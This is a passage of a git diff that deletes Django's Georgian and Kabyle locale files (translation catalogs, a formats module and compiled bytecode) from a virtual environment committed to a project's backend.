%(max_length)s)" -msgstr "სტრიქონი (%(max_length)s სიმბოლომდე)" - -msgid "Comma-separated integers" -msgstr "მძიმით გამოყოფილი მთელი რიცხვები" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "თარიღი (დროის გარეშე)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "თარიღი (დროსთან ერთად)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "ათობითი რიცხვი" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "ხანგრზლივობა" - -msgid "Email address" -msgstr "ელ. ფოსტის მისამართი" - -msgid "File path" -msgstr "გზა ფაილისაკენ" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "რიცხვი მცოცავი წერტილით" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "მთელი" - -msgid "Big (8 byte) integer" -msgstr "დიდი მთელი (8-ბაიტიანი)" - -msgid "IPv4 address" -msgstr "IPv4 მისამართი" - -msgid "IP address" -msgstr "IP-მისამართი" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "ლოგიკური (True, False ან None)" - -msgid "Positive integer" -msgstr "დადებითი მთელი რიცხვი" - -msgid "Positive small integer" -msgstr "დადებითი პატარა მთელი რიცხვი" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "სლაგი (%(max_length)s-მდე)" - -msgid "Small integer" -msgstr "პატარა მთელი რიცხვი" - -msgid "Text" -msgstr "ტექსტი" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "დრო" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "დაუმუშავებელი ორობითი მონაცემები" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "უნივერსალური უნიკალური იდენტიფიკატორი." - -msgid "File" -msgstr "ფაილი" - -msgid "Image" -msgstr "გამოსახულება" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "გარე გასაღები (ტიპი განისაზღვრება დაკავშირებული ველის ტიპით)" - -msgid "One-to-one relationship" -msgstr "კავშირი ერთი-ერთტან" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "კავშირი მრავალი-მრავალთან" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "ეს ველი აუცილებელია." - -msgid "Enter a whole number." -msgstr "შეიყვანეთ მთელი რიცხვი" - -msgid "Enter a valid date." -msgstr "შეიყვანეთ სწორი თარიღი." - -msgid "Enter a valid time." -msgstr "შეიყვანეთ სწორი დრო." - -msgid "Enter a valid date/time." -msgstr "შეიყვანეთ სწორი თარიღი და დრო." - -msgid "Enter a valid duration." -msgstr "შეიყვანეთ სწორი დროის პერიოდი." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"ფაილი არ იყო გამოგზავნილი. შეამოწმეთ კოდირების ტიპი მოცემული ფორმისათვის." - -msgid "No file was submitted." -msgstr "ფაილი არ იყო გამოგზავნილი." - -msgid "The submitted file is empty." -msgstr "გამოგზავნილი ფაილი ცარიელია." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "ან გამოგზავნეთ ფაილი, ან მონიშნეთ \"წაშლის\" დროშა." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"ატვირთეთ დასაშვები გამოსახულება. თქვენს მიერ გამოგზავნილი ფაილი ან არ არის " -"გამოსახულება, ან დაზიანებულია." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "აირჩიეთ დასაშვები მნიშვნელობა. %(value)s დასაშვები არ არის." - -msgid "Enter a list of values." -msgstr "შეიყვანეთ მნიშვნელობების სია." - -msgid "Enter a complete value." -msgstr "შეიყვანეთ სრული მნიშვნელობა." - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(დამალული ველი %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "დალაგება" - -msgid "Delete" -msgstr "წავშალოთ" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "გთხოვთ, შეასწოროთ დუბლირებული მონაცემები %(field)s-თვის." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"გთხოვთ, შეასწოროთ დუბლირებული მნიშვნელობა %(field)s ველისთვის, რომელიც უნდა " -"იყოს უნიკალური." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"გთხოვთ, შეასწოროთ დუბლირებული მნიშვნელობა %(field_name)s ველისთვის, რომელიც " -"უნდა იყოს უნიკალური %(lookup)s-ზე, %(date_field)s-თვის." - -msgid "Please correct the duplicate values below." -msgstr "გთხოვთ, შეასწოროთ დუბლირებული მნიშვნელობები." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "აირჩიეთ დასაშვები მნიშვნელობა. ეს არჩევანი დასაშვები არ არის." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "წაშლა" - -msgid "Currently" -msgstr "ამჟამად" - -msgid "Change" -msgstr "შეცვლა" - -msgid "Unknown" -msgstr "გაურკვეველი" - -msgid "Yes" -msgstr "კი" - -msgid "No" -msgstr "არა" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "კი,არა,შესაძლოა" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d ბაიტი" -msgstr[1] "%(size)d ბაიტი" - -#, python-format -msgid "%s KB" -msgstr "%s კბ" - -#, python-format -msgid "%s MB" -msgstr "%s მბ" - -#, python-format -msgid "%s GB" -msgstr "%s გბ" - -#, python-format -msgid "%s TB" -msgstr "%s ტბ" - -#, python-format -msgid "%s PB" -msgstr "%s პბ" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "შუაღამე" - -msgid "noon" -msgstr "შუადღე" - -msgid "Monday" -msgstr "ორშაბათი" - -msgid "Tuesday" -msgstr "სამშაბათი" - -msgid "Wednesday" -msgstr "ოთხშაბათი" - -msgid "Thursday" -msgstr "ხუთშაბათი" - -msgid "Friday" -msgstr "პარასკევი" - -msgid "Saturday" -msgstr "შაბათი" - -msgid "Sunday" -msgstr "კვირა" - -msgid "Mon" -msgstr "ორშ" - -msgid "Tue" -msgstr "სამ" - -msgid "Wed" -msgstr "ოთხ" - -msgid "Thu" -msgstr "ხუთ" - -msgid "Fri" -msgstr "პარ" - -msgid "Sat" -msgstr "შაბ" - -msgid "Sun" -msgstr "კვრ" - -msgid "January" -msgstr "იანვარი" - -msgid "February" -msgstr "თებერვალი" - -msgid "March" -msgstr "მარტი" - -msgid "April" -msgstr "აპრილი" - -msgid "May" -msgstr "მაისი" - -msgid "June" -msgstr "ივნისი" - -msgid "July" -msgstr "ივლისი" - -msgid "August" -msgstr "აგვისტო" - -msgid "September" -msgstr "სექტემბერი" - -msgid "October" -msgstr "ოქტომბერი" - -msgid "November" -msgstr "ნოემბერი" - -msgid "December" -msgstr "დეკემბერი" - -msgid "jan" -msgstr "იან" - -msgid "feb" -msgstr "თებ" - -msgid "mar" -msgstr "მარ" - -msgid "apr" -msgstr "აპრ" - -msgid "may" -msgstr "მაი" - -msgid "jun" -msgstr "ივნ" - -msgid "jul" -msgstr "ივლ" - -msgid "aug" -msgstr "აგვ" - -msgid "sep" -msgstr "სექ" - -msgid "oct" -msgstr "ოქტ" - -msgid "nov" -msgstr "ნოე" - -msgid "dec" -msgstr "დეკ" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "იან." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "თებ." - -msgctxt "abbrev. month" -msgid "March" -msgstr "მარ." - -msgctxt "abbrev. month" -msgid "April" -msgstr "აპრ." - -msgctxt "abbrev. month" -msgid "May" -msgstr "მაი" - -msgctxt "abbrev. month" -msgid "June" -msgstr "ივნ." - -msgctxt "abbrev. month" -msgid "July" -msgstr "ივლ." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "აგვ." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "სექტ." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "ოქტ." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "ნოემ." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "დეკ." - -msgctxt "alt. month" -msgid "January" -msgstr "იანვარი" - -msgctxt "alt. month" -msgid "February" -msgstr "თებერვალი" - -msgctxt "alt. month" -msgid "March" -msgstr "მარტი" - -msgctxt "alt. month" -msgid "April" -msgstr "აპრილი" - -msgctxt "alt. month" -msgid "May" -msgstr "მაისი" - -msgctxt "alt. month" -msgid "June" -msgstr "ივნისი" - -msgctxt "alt. month" -msgid "July" -msgstr "ივლისი" - -msgctxt "alt. month" -msgid "August" -msgstr "აგვისტო" - -msgctxt "alt. month" -msgid "September" -msgstr "სექტემბერი" - -msgctxt "alt. month" -msgid "October" -msgstr "ოქტომბერი" - -msgctxt "alt. month" -msgid "November" -msgstr "ნოემბერი" - -msgctxt "alt. month" -msgid "December" -msgstr "დეკემბერი" - -msgid "This is not a valid IPv6 address." -msgstr "ეს არ არის სწორი IPv6 მისამართი." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "ან" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d წელი" -msgstr[1] "%d წელი" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d თვე" -msgstr[1] "%d თვე" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d კვირა" -msgstr[1] "%d კვირა" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d დღე" -msgstr[1] "%d დღე" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d საათი" -msgstr[1] "%d საათი" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d წუთი" -msgstr[1] "%d წუთი" - -msgid "0 minutes" -msgstr "0 წუთი" - -msgid "Forbidden" -msgstr "აკრძალული" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "მეტი ინფორმაცია მისაწვდომია DEBUG=True-ს მეშვეობით." - -msgid "No year specified" -msgstr "არ არის მითითებული წელი" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "არ არის მითითებული თვე" - -msgid "No day specified" -msgstr "არ არის მითითებული დღე" - -msgid "No week specified" -msgstr "არ არის მითითებული კვირა" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s არ არსებობს" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"მომავალი %(verbose_name_plural)s არ არსებობს იმიტომ, რომ %(class_name)s." -"allow_future არის False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "არ მოიძებნა არცერთი მოთხოვნის თანმხვედრი %(verbose_name)s" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s-ის იდექსი" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ka/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ka/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ka/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ka/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index c499af45..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ka/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ka/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ka/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 0f935dda..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ka/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ka/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ka/formats.py deleted file mode 100644 index 661b71e2..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ka/formats.py +++ /dev/null @@ -1,48 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "l, j F, Y" -TIME_FORMAT = "h:i a" -DATETIME_FORMAT = "j F, Y h:i a" -YEAR_MONTH_FORMAT = "F, Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "j.M.Y" -SHORT_DATETIME_FORMAT = "j.M.Y H:i" -FIRST_DAY_OF_WEEK = 1 # (Monday) - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# Kept ISO formats as they are in first position -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%m/%d/%Y", # '10/25/2006' - "%m/%d/%y", # '10/25/06' - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - # "%d %b %Y", # '25 Oct 2006' - # "%d %b, %Y", # '25 Oct, 2006' - # "%d %b. %Y", # '25 Oct. 2006' - # "%d %B %Y", # '25 October 2006' - # "%d %B, %Y", # '25 October, 2006' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' - "%m/%d/%Y %H:%M:%S", # '10/25/2006 14:30:59' - "%m/%d/%Y %H:%M:%S.%f", # '10/25/2006 14:30:59.000200' - "%m/%d/%Y %H:%M", # '10/25/2006 14:30' - "%m/%d/%y %H:%M:%S", # '10/25/06 14:30:59' - "%m/%d/%y %H:%M:%S.%f", # '10/25/06 14:30:59.000200' - "%m/%d/%y %H:%M", # '10/25/06 14:30' -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = " " -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/kab/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/kab/LC_MESSAGES/django.mo deleted file mode 100644 index 151ed67e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/kab/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/kab/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/kab/LC_MESSAGES/django.po deleted file mode 100644 index b0f6fa28..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/kab/LC_MESSAGES/django.po +++ /dev/null @@ -1,1211 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Kabyle (http://www.transifex.com/django/django/language/" -"kab/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: kab\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Tafrikanst" - -msgid "Arabic" -msgstr "Taɛṛabt" - -msgid "Asturian" -msgstr "Tasturyant" - -msgid "Azerbaijani" -msgstr "Tazeṛbayǧant" - -msgid "Bulgarian" -msgstr "Tabulgarit" - -msgid "Belarusian" -msgstr "Tabilurusit" - -msgid "Bengali" -msgstr "Tabelgalit" - -msgid "Breton" -msgstr "Tabrutunt" - -msgid "Bosnian" -msgstr "Tabusnit" - -msgid "Catalan" -msgstr "Takaṭalant" - -msgid "Czech" -msgstr "Tačikit" - -msgid "Welsh" -msgstr "Takusit" - -msgid "Danish" -msgstr "Tadanit" - -msgid "German" -msgstr "Talmanit" - -msgid "Lower Sorbian" -msgstr "Tasiṛbit n wadda" - -msgid "Greek" -msgstr "Tagrigit" - -msgid "English" -msgstr "Taglizit" - -msgid "Australian English" -msgstr "Taglizit n Ustralya" - -msgid "British English" -msgstr "Taglizit (UK)" - -msgid "Esperanto" -msgstr "Taspirantit" - -msgid "Spanish" -msgstr "Taspanit" - -msgid "Argentinian Spanish" -msgstr "Taspanit n Arjuntin" - -msgid "Colombian Spanish" -msgstr "Taspanit n Kulumbya" - -msgid "Mexican Spanish" -msgstr "Taspanit n Miksik" - -msgid "Nicaraguan Spanish" -msgstr "Taspanit n Nikaragwa" - -msgid "Venezuelan Spanish" -msgstr "Taspanit n Vinizwila" - -msgid "Estonian" -msgstr "Tastunit" - -msgid "Basque" -msgstr "Tabaskit" - -msgid "Persian" -msgstr "Tafarsit" - -msgid "Finnish" -msgstr "Tafinit" - -msgid "French" -msgstr "Tafṛansist" - -msgid "Frisian" -msgstr "" - -msgid "Irish" -msgstr "" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "" - -msgid "Hebrew" -msgstr "" - -msgid "Hindi" -msgstr "Tahendit" - -msgid "Croatian" -msgstr "Takarwasit" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Tahungarit" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "Tandunizit" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Taslandit" - -msgid "Italian" -msgstr "Taṭelyanit" - -msgid "Japanese" -msgstr "" - -msgid "Georgian" -msgstr "Tajyuṛjit" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Takazaxt" - -msgid "Khmer" -msgstr "" - -msgid "Kannada" -msgstr "Takannadat" - -msgid "Korean" -msgstr "Takurit" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "Talitwanit" - -msgid "Latvian" -msgstr "Talitunit" - -msgid "Macedonian" -msgstr "Tamasidunit" - -msgid "Malayalam" -msgstr "Tamayalamt" - -msgid "Mongolian" -msgstr "" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "Tabirmanit" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Tanipalit" - -msgid "Dutch" -msgstr "Tahulandit" - -msgid "Norwegian Nynorsk" -msgstr "" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "Tabenjabit" - -msgid "Polish" -msgstr "Tapulandit" - -msgid "Portuguese" -msgstr "Tapurtugit" - -msgid "Brazilian Portuguese" -msgstr "" - -msgid "Romanian" -msgstr "Tarumanit" - -msgid "Russian" -msgstr "Tarusit" - -msgid "Slovak" -msgstr "Tasluvakt" - -msgid "Slovenian" -msgstr "" - -msgid "Albanian" -msgstr "Talbanit" - -msgid "Serbian" -msgstr "Tasiṛbit" - -msgid "Serbian Latin" -msgstr "" - -msgid "Swedish" -msgstr "Taswidit" - -msgid "Swahili" -msgstr "Taswahilit" - -msgid "Tamil" -msgstr "Taṭamult" - -msgid "Telugu" -msgstr "" - -msgid "Thai" -msgstr "" - -msgid "Turkish" -msgstr "Taṭurkit" - -msgid "Tatar" -msgstr "" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "" - -msgid "Urdu" -msgstr "" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "" - -msgid "Simplified Chinese" -msgstr "" - -msgid "Traditional Chinese" -msgstr "" - -msgid "Messages" -msgstr "Iznan" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Sekcem azal ameɣtu." - -msgid "Enter a valid URL." -msgstr "" - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "Sekcem tansa imayl tameɣtut." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Sekcem tansa IPv4 tameɣtut." - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "Sekcem amḍan." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "akked" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "" - -msgid "This field cannot be blank." -msgstr "" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Azemz (s wakud)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Tanzagt" - -msgid "Email address" -msgstr "Tansa email" - -msgid "File path" -msgstr "Abrid n ufaylu" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Ummid" - -msgid "Big (8 byte) integer" -msgstr "" - -msgid "IPv4 address" -msgstr "" - -msgid "IP address" -msgstr "Tansa IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "Aḍris" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Akud" - 